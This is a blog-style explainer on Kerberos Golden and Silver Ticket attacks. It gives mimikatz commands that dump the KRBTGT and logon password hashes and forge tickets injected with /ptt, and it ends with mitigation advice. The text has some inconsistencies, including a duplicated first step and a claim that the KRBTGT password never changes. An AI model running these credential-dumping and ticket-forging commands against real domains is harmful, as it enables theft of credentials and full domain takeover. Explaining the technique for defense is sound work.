Some thoughts about Kerberos Golden Tickets
Recently i’ve worked on a cybersecurity incident that involved the use of Silver Tickets on Kerberos.
I think may be useful a brief recap about this attack technique.
What is Kerberos?
Kerberos authentication is currently the default authorization technology used by Microsoft Windows: introduced in Windows 2000, has becoming a standard for websites and Single-Sign-On implementations across platforms.
Kerberos is an open-source project, maintained by The Kerberos Consortium: implementations on *nix systems are also available.
Before Kerberos, Microsoft used an authentication technology called NTLM.
NTLM (NT Lan Manager) is a challenge-response authentication protocol: the target computer or domain controller challenge and check the password, and store password hashes for continued use.
NTLM is an old technology: hashes can be cracked in hours.
The biggest difference between the two systems is the third-party verification and stronger encryption capability in Kerberos.
This extra step in the process provides a significant additional layer of security over NTLM.
Typical Kerberos Authentication Flow
- Client requests an authentication ticket (TGT) from the Key Distribution Center (KDC)
- The KDC verifies the credentials and sends back an encrypted TGT and session key
- The TGT is encrypted using the Ticket Granting Service (TGS) secret key
- The client stores the TGT and when it expires the local session manager will request another TGT
If the client requests access to a service, the process is:
- The client sends the current TGT to the TGS with the Service Principal Name (SPN) of the resource the client wants to access
- The KDC verifies the TGT of the user and that the user has access to the service
- TGS sends a valid session key for the service to the client
- Client forwards the session key to the service to confirm the user has access, so the service grants access.
Every Active Directory domain controller is responsible for handling Kerberos ticket requests, which are used to authenticate users and grant them access to computers and applications.
In the AD, the KRBTGT account is used to encrypt and sign all Kerberos tickets within a domain, and domain controllers use the account password to decrypt Kerberos tickets for validation.
This account password never changes, and the account name is the same in every domain, so it is a well-known target for attackers.
But, can Kerberos be compromised?
Yep! Several ways to crack into Kerberos has been developed.
Most of these hacks take advantage of a vulnerability, weak passwords, misconfigurations, or sometimes a combination of all three.
Two of the more successful methods are Golden Ticket (that grants a user domain admin access) and Silver Ticket (that grants access to a service).
What is the Golden Ticket Attack?
The Golden Ticket Attack has been discovered by security researcher Benjamin Delpy.
Like the Golden Ticket in “Willy Wonka”, may give access to all computers, files, folders, and most importantly Domain Controllers.
A Golden Ticket is a Kerberos authentication token for the KRBTGT account, that can use a pass-the-hash technique to log into any account, allowing attackers to move around unnoticed inside the network.
What are Silver Tickets?
Silver Tickets are a kind of Golden Ticket, forged in order to authenticate as a service.
Silver Tickets can be forged by cracking a computer account password and using that to create a fake authentication ticket: Kerberos allows services to log in without double-checking that their token is actually valid, which attacker have exploited to create Silver Tickets.
Silver Tickets are harder to detect than Golden Tickets because there is no communication between the service and the DC – and any logging is local to the targeted computer.
How to create a Golden Ticket?
First, the attacker need to gain admin rights to a domain controller, and gather the KRBTGT password information using mimikatz:
First, the attacker need to gain admin rights to a domain computer and dump the AD accounts password hash from the system using mimikatz (the NTLM password hash is used to encrypt RC4 Kerberos tickets):
mimikatz "privilege::debug" "lsadump::lsa /inject /name:krbtgt" exit
Once the password hash has been discovered, a Golden Ticket can be forged using this command:
mimikatz "kerberos::golden /user:JohnDoe /id:500 /domain:targetdomain.com /sid:S-1-5-21-1234567890-123456789-1234567890 /rc4:d7e2b80507ea074ad59f152a1ba20458 /ptt" exit
- /domain – the FQDN
- /sid – the SID of the domain
- /user – target account to impersonate
- /id – the RID of the account you will be impersonating. This could be a real account ID, such as the default administrator ID of 500, or a fake ID.
- /ptt – as an alternate to /ticket – use this to immediately inject the forged ticket into memory for use
- /rc4 – the NTLM hash of password
How to create a Silver Ticket?
In order to create a Silver Ticket, a computer account must be used and the /service and /target parameters needs to be specified.
When a computer is joined to Active Directory, a new computer account object is created and linked to the computer. The password and associated hash is stored on the computer that owns the account and the NTLM password hash is stored in the Active Directory database on the Domain Controllers for the domain.
So, the attacker first gains admin privileges on target machine and extracts password hash:
mimikatz "privilege::debug" "sekurlsa::logonpasswords" exit
Then forge the Silver Ticket (in this example for the “cifs” service):
mimikatz "kerberos::golden /user:JohnDoe /id:500 /domain:targetdomain.com /sid:S-1-5-21-1234567890-123456789-1234567890 /target:targetserver.targetdomain.com /rc4:d7e2b80507ea074ad59f152a1ba20458 /service:cifs /ptt" exit
- /service – the kerberos service running on the target server
- /target – the target server’s FQDN
How to use the ticket?
Pretty simple! In the previous mimikatz commands the /ptt parameter loads the forged ticket into the current session.
So, any command launched in the same console runs under the context of the forged ticket.
How to protect a domain against Golden Ticket attack?
Forged tickets are perfectly valid TGTs, so they are very difficult to detect.
In most cases, they are created with lifespans of 10 years or more, which far exceeds the default values in Active Directory for ticket duration, but event logs do not log the TGT timestamps in the authentication logs, and thirt-part monitoring products are needed to make this.
When the use of golden/silver tickets is detected, the KRBTGT account must reset twice, which may have other far-reaching consequences.
So, the most important protection against golden tickets is to restrict domain controller logon rights.
There should be the absolute minimum number of Domain Admins, as well as members of other groups that provide logon rights to DCs such as Print and Server Operators.